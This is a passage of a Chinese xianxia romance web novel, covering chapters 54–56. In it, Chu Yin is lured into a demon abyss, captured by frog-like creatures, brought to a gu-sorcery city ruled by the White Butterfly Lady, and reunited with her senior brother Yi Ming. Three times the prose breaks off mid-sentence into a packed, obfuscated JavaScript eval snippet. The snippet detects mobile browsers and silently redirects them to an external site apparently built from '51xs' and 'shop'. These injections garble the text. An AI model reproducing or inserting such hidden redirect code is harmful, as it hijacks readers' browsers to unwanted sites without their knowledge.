初茵想了想,也抬脚跟在他后面。 很快,两人来到了驻地的边缘。 守门的弟子看到她,主动招呼道:“初姑娘,这么晚了,你这是要去哪里?” 初茵看了一眼孟星寒,道:“我回宗门有些事情要办。” 那弟子道:“天太晚了,我找两个人来送你。” 孟星寒在她身后,低声道:“只能一个人。” “不必,我去去就回。” 见她态度坚决,那两名弟子无法,只能放行。 见两人离开之后,直奔魔渊的方向,其中一名弟子看出不对劲,立刻道:“你在这看着,我去找君上。” 初茵也发现了这是进入魔渊的路,这些天她已经走了很多遍,但这里不过是外围。 她问:“你带我来这里做什么?” 孟星寒依旧是一言不发,只是向前走着。 初茵察觉到不对劲,她停下了脚步,“你不说清楚,我不会再跟你过去。” 这里距离驻地并不远,如果有什么动静,那边也能第一时间发现。 周围是黑黢黢的林木,借着月光,她看到孟星寒停下了脚步。 月光下有什么东西一闪而过,像是发光的树叶。 接着,越来越多的亮光出现在黑夜里,白色的亮片上下飞舞,是蝴蝶的形状。 初茵还没有看清楚,远处突然出现一片巨大的亮光。 像是一轮坠入林间的月亮,直奔他们而来。 片刻之后,她才发现,那是一个由无数白蝶组成的圆,像是旋转的龙卷风,转瞬便来到了眼前。 初茵转头便跑。 身后传来孟星寒的声音,“我已经把她带来了,你快帮我救人!” 视线里,出现了密密麻麻的白色蝴蝶,交叠闪耀的亮光,让她瞬间失去了意识。 郁九如赶到时,白蝶消失殆尽,只能看到天空漆寒的夜色,地上有一把寒意凛然的长剑。 苏溪捡起这把剑,看了看,“这是奕如月的霜寒剑?怎么会在那个女人那?” 郁九如神色复杂地看了一眼剑,“我去找她。” 54. 白蝶 “呱呱!你快过来看,这里还有一个人?” “真的!你真是太聪明了!她藏得这么深我们竟然也能发现。” “是啊,还好我们天天守在这里。” “快点绑起来带回去,刚好回去给廖大夫养蛊。” “可以吃饱饭了!” …… 初茵感觉有人朝自己的脸上放东西,她迷迷糊糊地睁开眼,看到了一张绿色的、犹如青蛙一样的脸。 那两只鼓起的大眼睛清澈明亮,她几乎从中看到了自己的倒影。 她大惊失色,手脚并用地想要爬起来,但却发现自己身上裹着一层细细的丝网。 这种网像是坚韧的蛛丝,轻易无法挣脱。 初茵想说话,但那些丝线几乎糊住了她半张脸,让她张嘴都很困难。 这两只怪物几乎长得一模一样,大肚子,矮身材,皮肤灰绿,两眼突出,嘴唇出奇的厚,像是成了精的青蛙。 “你把她的嘴巴糊住了,她会死。” “对啊,不过她好像还没有死,他们修士都很能活。” 初茵心里暗暗叫苦,突然,她身体一轻,就被扛了起来。 她似乎是在一个坑里,坑底是许多裸露的碎白骨,两只怪物的蹼脚踩上去,发出如同树枝断裂的声音。 出了坑之后,她发现周围是荒郊野岭,到处是枯死的草木和黑色的土地,魔气浓郁到令人不适。 视线一转,她在一个破旧的小推车上看到两个被裹成球茧一样的人,定睛一看,竟然是叶挽棠和孟星寒? 他们怎么会在这里? 这两人的情况和她略有不同,她是被裹了上半身,而这两人是被牢牢裹紧了头以下的部分。 很快,她也被扔上了车,和这两人并排躺着。 叶挽棠的神色看起来很紧张,她看了一眼孟星寒,两人似乎在对什么眼色。 初茵虽然不知道叶挽棠怎么会在这里,但想到之前孟星寒说的话,再看这两人的架势,想必是和自己一样进入魔渊。 “这次有三个人,你说廖大夫会不会给吃的。” “一定会的。” “太好了!终于不用饿肚子了。” …… 前面的两个小怪物说得兴高采烈,但后面的叶挽棠和孟星寒却是听得胆战心惊。 叶挽棠小声道:“他们是不是吃人的怪物?” 孟星寒把头靠过去,小声安慰:“不会的,放心,有我在。” 见到两人这幅亡命鸳鸯的状态,初茵不由冷哼了一声。 孟星寒转过头,看向她,“初茵,我也不是故意要骗你,实在是挽棠的病要治,所以才引你来这里。” 初茵虽然不能说话,但她眼神斜睨着他们,冰冷无情。 孟星寒叹了一口气。 “挽棠的耳朵出了问题,只有进蛊城才能找到解药。等治好病,我们一定也会把你带出去。” 叶挽棠没说话,看向初茵时,眼神却忍不住流露出丝丝掩饰不住的恨意。 因为药水的过度使用,她的耳朵里出现了很多细小的虫子,脑中的刺痛也越来越严重。 虽然联系不上蛊师,但她还记得他之前给自己的警告,那些虫卵便会在她的脑子里住下,除非去蛊城找解蛊师。 没人知道蛊城在哪,她派人去打探时,又传来消息,说她父亲已经被昆仑的人扣下。 事情败露,她以为自己只能绝望等死。 没想到在这时,她做了一个梦,梦里之人告诉她,只要把初茵带过去魔渊,她就为他们打开通往蛊城的门。 还好,梦中之人没有骗她,她真的逃出来了。 而初茵。 她毁了自己的一切,现在却也不过和自己一个下场,她是绝不可能轻易放过她的。 等摆脱了这两个怪物,她和孟星寒有两个人,而她只有一个人,她会把这种痛苦…… 脑仁像是被人切割开,她发出一声痛苦的呻口今,浑身都忍不住颤抖。 孟星寒忙问:“怎么了,挽棠,是又疼了吗?” 叶挽棠强忍着脸部的扭曲,把头埋在他的胸口,低声道:“还好,我忍得住。” “怎么回事?”一个怪物回头看了一眼。 另一个怪物突然笑了,“嘿嘿,那个女人的头里有虫子,我刚才看到了。” “这么奇怪,那她不是和我们一样,都是蛊人吗?” “你好聪明,我怎么没想到。” …… 初茵观察周围,发现这两个怪物的脚力很快,他们已经来到了山下,视线里出现了一座破败的城门。 蛊城? 这个名字她在昆仑的藏书阁里见过,据说当初魔尊为了永生,抓了很多南疆的蛊师帮自己炼制魔蛊。 那里是魔种诞生的地方,不过年代久远,这座城只出现在一些记载之中。 没想到,它竟然真的存在。 进入城内后,初茵本以为会看到很多怪物,已经提前做好了心理准备,但这一路上,她却没看到人。 整个街道破旧又空荡,直到走到更深一点的地方,她才看到两个行人。 车子拐过一个巷,停了下来,叶挽棠被首先扔下来。 “怎么回来得这么早?” 一名老者听到声响,从门内走了出来。 “我们捡到了三个修士!” “这下能吃饱了!” 看到三人后,他脸上出现了一丝惊愕,随后,他的视线缓缓扫过面前的三个人。 最后,他抬手指了指孟星寒,对两个小怪物道:“这个能留下,其他两个杀了。” 孟星寒好不容易碰到一个正常人,连忙道:“老人家,你放了我们。你想要什么,我全都给你,我家里有许多灵石。” 廖大夫一脸狐疑,“灵石?我要那些做什么?我只要你的身体就行。” 那两个小怪物依依不舍地看了初茵两眼,但最后,他们还是遵循了廖大夫的话,将她们给扔下车。 初茵在地上滚了半圈,发现捆绑自己的绳子松开许多,她终于能开口说话了。 “你不能杀我!” 廖大夫冷眼看着她,“为什么?” “因为他是我的炉鼎,我是合欢宗的弟子,他十分爱慕我,若你杀了我,他一定会和你拼命,不如由我帮你劝他。” 廖大夫仔细打量她片刻,“你是合欢宗弟子?” “如假包换,我身上还有宗门的令牌,里面那个男人身上也有我们宗门的令牌。” 叶挽棠在旁边听到她的话,气得要死,她道:“别信她的鬼话,她是骗你的!星寒喜欢的人一直都是我。” 很快,一只小妖怪就掏出来一块玉牌。 叶挽棠连忙道:“根本不是这么一回事,不信你去问问他,他喜欢的人是我!” 初茵适时道:“想必你也看出来了,这个女人的脑子不太好,她就是因为爱而不得,所以才弄成了这副模样。” 廖大夫看了一眼叶挽棠,嫌弃地移开视线,他看不惯这样粗糙的蛊人,不知道是谁的手法,简直是胡来。 就在这时,两个小怪物也把孟星寒压出来了。 “这两个女人,你喜欢谁?” 孟星寒不知道发生了什么事情,他之前奋力挣扎,差点死掉,此刻听说问他喜欢谁,他怀疑这个老头是不是又想出来新招折磨自己。 或者是,想拿自己心爱的女人来威胁自己? 他狐疑的视线移到了初茵身上。 初茵:“看,我没有骗你吧,他就是喜欢我。” 叶挽棠躺在地上,仰头急切地道:“阿寒,快说是我,不然他们就要杀了我。” 孟星寒指着叶挽棠,“是她!我喜欢的就是她。” 廖大夫锋利的眼眸扫过两人,指着叶挽棠道:“行,那把她拉进去,练一对同心蛊。” “什么?”叶挽棠惊慌失措,“不行,我不能被练成蛊虫!” 初茵看着不断逼近的怪物,思考它这一砍刀下去会要了自己的命,还是会让自己变成一滩灰。 “慢着,”廖大夫制止了怪物的下一步行动,“放了她。” 初茵还没有反应过来,那边的叶挽棠已经大声叫起来:“凭什么放了她!” 廖大夫竟然对她点点头,道:“阁下既然是合欢宗人,那必然是受白蝶夫人之邀前来,你可以离开。” 白蝶夫人? 是那群白色蝴蝶的主人? 这个老头子的前后态度变化实在是太快,初茵虽然不明白是怎么回事,但听他的意思,这事要放了自己。 “初茵!别走!救救我们!” 孟星寒被一个怪物压着身体,脸憋的通红,“放我出去,告诉你奕如月的在哪?” 不提这个,初茵还没那么生气。 她冷笑着抱臂,“你以为我还会信你?” “真的!这次是真的!我们遇到了蛊潮,她不是跳崖死的!” 蛊潮? 初茵神色微变,这一次,他的说法终于有了不同,那次去除魔的人几乎全灭,原来竟是遇到了蛊潮。 “遇到了蛊潮,那你们又是怎么活下来的?你觉得我还会再信你的鬼话?” 那两只怪物已经开始向房间内拖人,孟星寒的手指紧紧扣着门框,不肯松手。 “奕如月没有死!” 初茵垂眸冷漠地看着他被拉进去:“好,我会去找她。” 门在眼前被重重合上。 初茵转身,独自走向这座空荡荡的城市里。 虽然周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12953470|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围的街道颓败得不成样子,但真的开始行走之后才发现,这里还住着不少人。 在路上碰到时,他们也只淡淡看她一眼,神色空洞麻木,初茵发现这些人的眼睛瞳色都泛着或深或浅的红。 “请问,白蝶夫人在哪里?” 她看到一个坐在墙角的红衣小孩,便过去问了一声。 小女孩缓缓抬起脸,露出一双赤红色的眼睛,咧嘴笑看向她。 “你是来参加白日宴的吗?” 被她鲜红的眼瞳吓了一跳,初茵不动声色后退了两步,道:“是。” 小女孩起身,“我带你过去吧!” 这孩子脸色诡异得很,初茵不敢出声拒绝。 女孩一蹦一跳走在前面,走街串巷,两个羊角辫欢快地颤动,显然对这里的道路十分熟稔。 很快,她带她来到一个街巷的尽头,在这里,她看到惊骇的一幕。 原来这个城里不是没人,而是所有人都聚集到了这里,他们紧闭着双眼,或是摊倒或是坐着,一只只白蝶停在他们的额头,蝶翅如呼吸一般韵动。 制造幻境的白蝶? 她突然想到出现在自己房间的盒子,那里面就有一只蝴蝶。 “他们是在做什么?” “嘘!”女孩竖起食指,“小声一点,不要打扰他们,不然蝶甲卫会赶我们走的。” 就在这时,两只碗口大小的蝴蝶飞到他们面前,白色的翅膀粉末一般洒落,变成了两个身着白色盔甲的士兵。 “你不是才走?你得三天后才能再过来。” 女孩指着初茵,“我带了一个人过来,我应该还有三天的机会。” 蝶甲卫转过头,白色头盔下的黑洞看着初茵,“你是第一次来参加白日宴?” 初茵:“是的,这里是做什么的?” “蛊城没有出口,这里的人便被困在这里离不开,多亏了白蝶夫人仁慈,通过梦境的方法,让这些行尸走肉感受外面的世界。” 小女孩仰起头,一脸幸福:“是的,多亏了白蝶夫人,我在这里就可以见到娘。” 这些人竟然沉迷于幻境,难怪她路上遇到之人都如同行尸走肉一般,想必他们早就被这些幻觉掏空了精力。 初茵表情凝重问:“白蝶夫人在哪里?我想见她。” 两个士兵再次化身成蝴蝶,“想见夫人便去融雪宫。” 融雪宫? 见初茵转身离开,那女孩气恼地跺跺脚,小跑跟上她。 “姐姐,你为什么不去白日宴,你帮帮我吧!我已经三天没有看到母亲了。” 初茵很想和她说不要沉迷幻境,但看她七八岁年纪,又知道说不通。 她问:“你母亲因何而死?” 女孩神色落寞:“那次魔种有很多,城里没有足够的蛊虫抵挡,她变成魔人,被拉走当蛊料了。” 初茵抓住重点问:“这里也会有魔种出现?” “每几个月魔洞就会吐出一批魔种,如果我们没有准备足够的蛊虫,那些魔蛊就会附到我们身上。” 初茵明白了她的话,片刻后,她问:“所以,你们是用蛊虫来抵挡魔种的?” 女孩反问:“还有别的办法吗?” 初茵沉默,这座城太神秘,有太多她看不懂的秘密。 “融雪宫在哪?你先带我过去。” 可能是很久没人和她说话了,女孩不但给她带了路,还对她知无不言。 她名叫小凤,经常去蛊坊里帮忙混一口吃的,一旦有了时间,她就参加白日宴。 她惋惜道:“可惜我年纪太小,每过一次,要三天之后才能开启下一次。” 初茵看了她红彤彤的眼睛,猜想进入这种幻境定然是有伤害。 小凤又道:“融雪宫是白蝶夫人的宫殿,每日都有很多人求她赐蝶,但她很少会答应,我也来求过。” 初茵:“赐蝶?” “就是离开这里,可以永远都活在另一个世界里。”她的脸上出现向往的神色。 两人来到一座巨大的白色宫殿前,宫殿的大门紧紧闭合,宫墙外面站着许多人。 不过这些人并没有如小凤所说,跪在地上,而是齐齐仰头。 “咦?夫人手里的那两人是谁?” 初茵仰起头,看到了高墙之上站着的人,一个女人,一袭宽大的白袍恣肆飞扬,应该就是白蝶夫人。 她眯眼看过去,白袍女人的手里……抓了两个人? 数丈高墙之上,她一手抓着孟星寒,另一手抓着叶挽棠,这两人似乎都吓得不轻。 “郁九如,我只扔一次,你可要接好了。”女人的声音高昂透亮。 顺着高墙之上三人的目光,初茵看到了站在人群最前面的一个熟悉的身影。 郁九如? 55. 易茗 叶挽棠的脸上出现了一丝绝望的神色,她没想到自己好不容易脱离虎口,又面临着这样可怕的境遇。 她本以为搬出白蝶夫人,那位廖大夫会放过自己,但没有想到,她却被绑到了这里来。 郁九如绝不可能是来找她的,就算是来找她,也是来算账的,又怎么可能救自己。 “不,我们不是她要找的人。”她转过头,低声哀求道,“他要找的是初茵,不是我,你放了我吧。” 看到人群中出现了一抹身影,白蝶夫人扬了扬眉,俏丽的脸上露出一抹冷笑,“放心,他就是来找你的。” 说罢,她双手用力,将两人狠狠推了出去。 郁九如察觉到一丝不对劲,但他却不知道哪里不对,当即飞身而上,接住了百米高墙上坠落的身影。 余光中闪过一群白色的蝴蝶,他定睛看过去,看到了一张淹没在白蝶之中惊惶的脸。 “郁九如!”初茵挣扎地喊道。 提在手中的两人紧紧抓住他的手臂,让他根本没有行动的空间。 初茵感觉自己像是要溺水的鱼,白色覆盖住她的视线,她无论转向哪个方向,眼前都是密密麻麻的蝶翅。 突然,一道力道揽住了她的腰,将她拽离出了那个窒息的空间。 她有点反应不过来,转过头,在看到来人的那一张脸时,惊愕了一瞬。 “易师兄?” 她盯着他,直到双脚落地的瞬间,还有一丝不真实的感觉。 青年穿着云岚宗的白色衣袍,头上束着普通的木簪,他五官秀丽,眉峰挺秀,即便只是站在那里,也气质卓然。 易茗微笑,“我还以为自己看错人了,真是你,阿茵。” 初茵心中又惊又喜,之前回到虞州,两人错过了,没想到在这里,倒是碰上了。 小凤一把冲过来,激动地跳起来,“是漂亮哥哥!” “小凤?”易茗低下头,看着冲过来的小女孩,揉了揉她的脑袋,“你怎么在这?不是说了让你不要来融雪宫。” “我陪漂亮姐姐过来的。” “初茵。”一道低沉凛冽的声音骤然在身后响起。 初茵回过头,郁九如不知何时站在了自己身后,冷着一张脸。 郁九如在放下手下的两人之后,发现自己迟了一步。 尽管只见过一面,他还是一眼认出了易茗,见他破开了蝶阵,自己再出手已无必要。 “君上,你怎么也进来了?” 得知她失踪后,他便立刻进入了魔渊,追到这里。 不过眼下,他却不想这么说。 “追捕他们。” 初茵看到了站在他身后的叶挽棠和孟星寒,两人似乎是被吓得不轻,被一根绳子绑着,小声互相安慰。 见郁九如盯着易茗,她立刻开口道:“易师兄,这位是昆仑的郁九如,这位是——” “易道友,我见过。”郁九如没有等初茵再介绍完,便先开口。 易茗心里有一丝的惊讶,他没想到两人什么时候见过面,于是礼貌地回了句久仰。 郁九如看向初茵,“这里不便久留,城郊有一处地方还算安全,你跟我一起离开。” “那易师兄你和我们一起过去。”说完之后,初茵才想起什么,回过头,“君上,可以吗?” 郁九如看了她一眼,点点头。 一行人出了城,路上,初茵细细问了易茗的行程。 原来易茗在回到虞州后,又得到一个消息,有人看到奕如月出现在蛊城,他就想方设法地来到这里。 初茵问:“你是说,阿月来过这?她一个人吗?” “你还记得高嵩吗?” “当然记得。” 高嵩是孟府的仆人,那次进入魔渊的人几乎全死了,只有他护送孟星寒和叶挽棠安全归来,不久后,他就离开了孟府。 “我在一个小渔村找到他,他金丹尽碎,灵根也被人挖出,已经彻底失去神志。” 当时孟家放出的消息,说高嵩拿到了一大笔灵石,决定外出修炼,初茵几番辗转都没有找到人。 “后来,一只白蝶找上我,在那幻境里,我看到了阿月。” “之后,它又引我进入魔渊,来到蛊城,这里开启应该是有固定的时间,你是怎么进来的?” “说来话长。” 初茵叹了一口气,和他说起了自己身上发生的事情,只隐去了她是源蛊的这件事。 郁九如走在前面带路,自然能听到后面两人之间的对话。 初茵变得十分健谈,两人像是有说不完的话,说昆仑的见闻,说她遇到的麻烦。 他听了一会,心里很不舒服。 她从未这样和他说过话。 突然,有人拽了拽他的衣袖,“大哥哥!你的绳子能给我拉一下吗?” 郁九如垂眸,看向了睁着大眼睛的小女孩。 手上的绳子是昆仑的法器,另一端系着的是叶挽棠和孟星寒,两人被扯着,远远跟在最后面,每一步都走得很不情愿。 郁九如回头,原本是想看叶挽棠那两人,没想到入眼便是凑在一起的初茵和易茗。 两人离得很近,衣袖紧贴在一起。 郁九如伸出手,将绳子递了过去。 小凤开心地接过去,飞奔向前跑,“哇!放风筝咯!” 眼角飘过狂奔的两个人,初茵转头,看向出现在自己身侧的郁九如。 她问:“小凤知道路吗?” 郁九如语气平静:“我告诉她了。” 初茵突然觉得手臂有些痒,她伸出手刚要去挠,郁九如一眼瞥到了什么,握住她的手臂。 “你做什——” 她话还没有说完,就见自己的衣袖被推上去了一点,苍白细瘦的手腕上浮现了一层淡淡的白色粉末。 两人对视一眼,情况不言自明。 她的身体开始一而再地出现问题,很明显,是快要支撑不下去了。 初茵稍稍用力,想要脱离掌控,她不想要易茗发现不对劲,但却用不上力。 郁九如的指尖在她的腕内轻刮了一下,警告她不要乱动,随着灵力缓缓输进身体,手臂的瘙痒感渐渐消失。 “阿茵?”易茗虽然不知道发生了什么,但也看到了两人之间的拉扯。 挣脱开他的手,初茵晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971355|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了晃手腕,“没什么,毕竟是泥塑的身体,君上帮我调整了一下手腕。” 郁九如没有反驳她的说辞,藏进长袖内的手微微握紧。 由于身边突然出现了一个人,三人同行的氛围便有些尴尬。 初茵轻咳了一声,问:“那易师兄,你有没有找到阿月的踪迹。” 易茗摇摇头,“我到这里半月有余,我一直想见白蝶夫人,问一问阿月的下落,不过还没有见到。” 郁九如突然开口,“那位白蝶夫人满嘴谎言,便是见到了,也要考虑她话中真假。” 出乎初茵的意料,此时的郁九如突然说话,参与进来了他们的对话——她原以为他会不屑于这样的讨论。 她问:“你认识白蝶夫人?” 郁九如淡淡道:“交过手。” 交过手? 那是仇人的关系吗?初茵抬起头,想听他继续说下去。 郁九如垂眸瞥了她一眼,看到了她满脸的好奇,抿了抿嘴,没有继续说下去。 他们出城后,一直向北走,直到眼前出现一片荒郊野地,放眼望去,有十几栋分别独立的圆筒形建筑。 “这些都是蛊池。”郁九如道。 易茗恍然,“原来是在这里,听闻南疆人会用蛊虫抵御魔种,所以这里的人都自己培育蛊虫。” 初茵:“蛊虫,也可以消灭魔种吗?” “魔蛊就是这么来的。”郁九如微眯起眼睛,神色莫测,“通道打开后,那些魔蛊便会出现在魔渊的另一侧。” 听完了他的解释,初茵愕然盯着那几个圆筒形状的建筑。 她一直以为那些魔蛊是魔渊自带的,没想到竟然是产自这里。 不过,郁九如为什么会知道这些,难道他以前就来到过这里? 很快,他们来到目的地。 一名被唤作雷叔的男人接待了他们,当得知这些人全部都要住在这时,他脸上露出了一点为难之色。 这里还有两个房间,一处是在蛊池的院子里,一处是在堆放饲料的院子里。 小凤紧紧拉着初茵的手,“我和姐姐住在一起。” 初茵想了下,既然只剩下两个房间,那只能是三个人一组。 郁九如还要看着叶挽棠和孟星寒,所以她几乎没有犹豫,立刻道:“易师兄,你和我们一起。” 易茗点头,”可以,我来帮你们守夜。” 房间自然是要郁九如先挑选,初茵问:“君上,你要住在哪间?” 她抬头看过去,发现郁九如正盯着她,黑沉的瞳孔里满是阴翳,像是会把人吞噬殆尽。 初茵困惑,思考自己这又是哪里得罪他了? 难道说,是因为她自作主张? 郁九如心里憋闷了一口气,从始至终,她竟然连一丝的犹豫都没有。 他面色冷沉,“就这间。” 见他选了蛊池的那一间,初茵点点头,转身向另一间走去。 小凤蹦蹦跳跳,她站在初茵和易茗中间,一手拉着一个,“太好了,和漂亮哥哥和漂亮姐姐住在一起。” 看到三人离开的背影,郁九如眉宇间隐约浮起几分煞气。 56. 不能 听易茗说,如果想要离开这里,要知道魔渊内通道的开启时间才可以。 初茵打算去问问郁九如,几时他们才能离开这里。 打开院门,眼前出现了两方巨大的深坑,上面盖着藤条编织的网。 深坑的中间留有一条窄窄的小道,几人小心走过去。 透过两边藤条的网眼,初茵看到坑里密密麻麻的蛊虫,十分可怖。 小凤倒是不害怕,甚至还探出头,“我跟我娘以前来这卖过草料,它们很好喂,什么都吃。” 走在最后的易茗拍着她的肩膀,将她的身子拉回来,“好好走路。” 绕过蛊池,走进唯一的一间厅堂里,初茵看到叶挽棠躺在一块木板上。 她紧闭双眼,像是昏迷了一般,一个中年男人蹲着她耳边旁边拨弄着什么。 此刻,她的脸颊皮肉模糊,像是被什么东西腐蚀了一样,露出血肉淋漓的一个洞口。 “你在做什么?”小凤很自然地凑过去。 男人抬起头看了他们一眼,“小声点,我在引蛊。” 初茵走近了两步,发现从叶挽棠的耳内延伸出一条细细的长线,而那条线上,爬满了几不可见的暗红色小虫。 初茵想起之前孟星寒说的话,她说叶挽棠中了蛊,所以需要进来解。 “这样有用吗?”她问。 男人抬头看了她一眼,闷声道:“没什么用,想要治好还需要很多火阳芝,郁公子去镜湖边找了。” 郁公子? 这个称呼她从未听过。 初茵不动声色打探了两句,这个名唤雷叔的人口风很紧,不透漏任何和郁九如相关的消息。 “镜湖?”易茗像是想起了什么,突然开口道:“是那个镜湖吗?” “还能有哪个镜湖?” 被这么一群人围着,雷叔已然觉得有些不耐烦,他挥挥手,无声对几人下了逐客令。 离开院落之后,初茵问:“易师兄,你也去过镜湖?” 易茗摇摇头,“没去过,但我听这里的人说,孢衣蛊就在那里。” 孢衣蛊? 这个蛊虫的名字修真界无人不知。 初茵:“它不是已经被炼制成魔种了吗?” 易茗也摸不准,“据说,还有另外一条,就藏在百蛊城中。” “哥哥!你说得根本就不对!”小凤突然停下脚步,狠狠叹了一口气。 她转过身,双手掐着腰,像是一个小大人一样仰视他们,“如果也是来找孢衣蛊的,那你们永远不可能找到。” 初茵看她忧心忡忡的样子,觉得有些好笑,“怎么了,难道你还知道孢衣蛊在哪?” 小凤摇摇头,“我不知道,但你们连地点都弄错了,这里不是你们口中的蛊城。” “不是蛊城?” “你们要找的,是白骨城。” 千年之前,魔君建造的那个城市叫百蛊城,后来被称作白骨城,魔种炼制出来后,整个城市一夜之间消失。 有传言说他将整个白骨城沉入水中,这只有一个湖,所以有人就觉得孢衣蛊在那里。 现在的这个蛊城,是修真界和南疆开战后,逃到这里的一支南疆的蛊师建立的。 不过进来之后,他们就被困在了这里,再找不到出去的路。 小凤眨巴着眼睛,“有人说出口就在魔渊中,不过尝试出去的人都没有回来过。” 初茵问:“你想出去吗?” 小凤点点头,不假思索道:“想。” 初茵拍拍她的脑袋,“好,如果我能出去,就带你一起。” 她虽然不知道出去的方法,但不知为什么,她觉得郁九如应该知道,所以她并不担心自己会被困在这里。 更何况,若真是出不去了,该着急的也不应该是自己。 回到院中,初茵躺在院中的躺椅上晒太阳,院门大敞,如果郁九如回来,她能第一时间发现。 突然,她觉得自己的手臂有些奇怪的感觉,她抬起手,翻开衣袖看了一下,发现身体上不知何时出现了许多细细的裂纹。 这些裂纹的颜色很浅,但密密麻麻地像是蜘蛛网,骤然一看很是可怖。 易茗也看到了,他惊道:“你这是怎么了?” 之前,她以为初茵已经死了,所以再看到她的时候,已经是意外之喜。 虽然她的身体不在,但他见她神色如常,也没有发现什么异样,很快就接受了她的新面貌。 甚至为了不让她多想,他几乎不提有关于她身体的问题。 但此时,见到她这副样子,他心里还是不免骇然。 “没什么。”初茵快速掩盖上手臂,对上易茗担忧的神色,她道:“只是一点小毛病,等郁九如回来,他帮我输送一点灵力就好了。” “灵力?”易茗皱眉上前,“我现在就帮你。” 见他要给自己输灵力,初茵也没有制止,任由他将手掌搭上自己的肩膀。 易茗出手大方,灵力浑厚,不多一会,初茵就觉得自己好了许多。 “易师兄,真的可以了。” 她掀起袖子,给他看了看恢复如初的手臂,易茗方才收手。 初茵抬起手掌,对着太阳,欣赏了一下自己的手,“这群蛊师还真是厉害。我有时候觉得,自己像是还活着一样。” 易茗站在初茵旁边,垂眸看着她。 他心里很清楚,没有什么术法能让死人复生,若真有这么简单,那千年前的魔君就不用这么费尽心思。 所谓的复生,想来也不过数月。 其实初茵现在的样子和记忆中很不一样,她整个人像是小了一圈,肤色苍白毫无血色,只有那双黑亮的眼睛还透着几分生机。 他突然发现自己并没有履行承诺,他答应过奕如月,要好好照顾她。 可现在,自己什么都没有做到。 既没有找到奕如月,也没有履行自己的承诺。 “阿茵。”他低下头,轻声道:“等离开这里,你和我一起走罢。” “啊?”初茵仰着头,日光刺目,她看不太清他的表情,“去哪里?” 易茗的声音温和恬淡,“哪里都可以,你不是一直想四处逛逛,我答应过你的。” 初茵突然想起来,自己当年没能进入云岚宗,他们为了哄她开心,就答应她说以后和她一起走遍九洲。 “不行,阿月还没找到。” 听她这么说,易茗的眼神里带了几分怜惜。 “我们可以一边走,一边打听她的消息。” 初茵想了想,自己的日子反正也不多了,与其这样,倒不如自由一段时间,就是不知道郁九如会不会同意。 “凶哥哥回来了!” 小凤声音响亮,一溜烟从院外跑进来。 她对易茗和郁九如有不同的称呼,易茗是漂亮哥哥,为了区分,郁九如就变成了凶哥哥。 可能是司空见惯,初茵其实没觉得郁九如有多凶。 不过当那张俊美阴翳的脸出现在视线里后,她又觉得小凤这么称呼也不是没有道理。 她坐起身,“君上,火阳芝找到了吗?” 郁九如转过头,看了两人一眼,略微点头。 初茵又问:“那我们什么时候能离开这里?” “还需要几日,时间到了,我会告诉你。” 他没有多作停留,转身继续向院内走去。 小凤连忙跑出去,她迈着小短腿,一边跑一边问:“哥哥,哥哥,你到时候也把小凤带出去好不好?” “他们要去到处逛逛,小凤也想出去。” 郁九如走了一段路,停下来,看着面前这个不知道害怕的小女孩。 “他们是谁?” 小凤将她在门外听到的话一五一十说了出来,最后道:“他们说,你知道怎么离开,也带我出去吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982343|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郁九如的眉眼阴沉下来,他以为是故人重复,没想到,易茗竟有这样龌龊的心思。 他眸光下移,盯着面前的小女孩。 “你觉得我很凶?” 小凤心里“咯噔”一声,刚才她一时着急,就将自己私下取的名称叫了出来。 她装傻笑了笑,“没、没有啊。” 郁九如淡淡瞥了她一眼,觉得自己没必要和一个小女孩较真。 “答应你可以,不过,你要帮我做一件事。” 小凤眨巴着眼,看向他:“什么事?” * 荒野的夜晚,静谧得只能听到不知名的虫鸣声。 初茵原本在闭目养神,突然,她觉得身体突然变得僵硬,连睁开眼都做不到。 像是有什么东西剥夺了她的感知,所有的力量都在飞速的流逝。 她想要喊出声,却发现自己连嘴都无法张开。 小凤在他旁边睡得很安静。 她第一次有了绝望等死的感觉。 门外传来说话声。 “砰”的一声,门被骤然踢开。 郁九如走进房间,在黑暗中准确找准了初茵的位置,将她一把拉了起来。 小凤被惊醒,爬起来,“是谁?” “别怕,是我们。”易茗的声音传来,他推开门,月色映照入房间。 “郁道友,发生什么了?” 他也不明所以,不知道郁九如为什么会突然闯进来。 当他看清房内情形时,登时僵立在原地。 初茵面色惨白,目光无神,身体像是被抽干了灵魂的木偶,毫无生机地倚着郁九如。 “阿茵!” 他快步上前,伸出的手被挡在半途。 郁九如看向他,眸中是彻骨的寒凉,“你给她输送了灵力?” “我见她……” 易茗话还没有说完,便被打断,“出去。” 被这样命令,他心中不免郁结,可见初茵现在的样子,他哽在喉咙的疑问又吞了回去。 是自己害她成了现在这样。 再多的疑问也只能等她醒来之后再说。 “咳!” 